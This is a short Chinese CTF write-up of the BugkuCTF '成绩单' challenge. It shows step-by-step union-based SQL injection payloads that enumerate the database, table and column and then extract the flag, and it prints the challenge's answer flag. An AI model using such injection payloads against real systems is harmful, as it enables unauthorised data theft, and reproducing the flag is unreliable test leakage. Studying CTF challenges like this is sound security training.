BugkuCTF 成绩单

BugkuCTF 成绩单_第1张图片可以看出应该为sql联合注入
SQL注入之联合查询注入

  1. 要求查询列数相同,其中有Name、Math、 English、Chinese 一共四个数据,因此需要select 1,2,3,4
    构造语句 id=0' union select 1,2,3,4#BugkuCTF 成绩单_第2张图片

  2. 查询数据库
    id=0' union select 1,2,3,database()#BugkuCTF 成绩单_第3张图片找到数据库 skctf_flag

  3. 查询数据表id=0' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf_flag'#BugkuCTF 成绩单_第4张图片找到数据表 fl4g

  4. 查询列名id=0' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'#BugkuCTF 成绩单_第5张图片找到列名为 skctf_flag

  5. 查询值id=0' union select 1,2,3,skctf_flag from fl4g#BugkuCTF 成绩单_第6张图片
    得到flag BUGKU{Sql_INJECT0N_4813drd8hz4}

你可能感兴趣的:(BugkuCTF)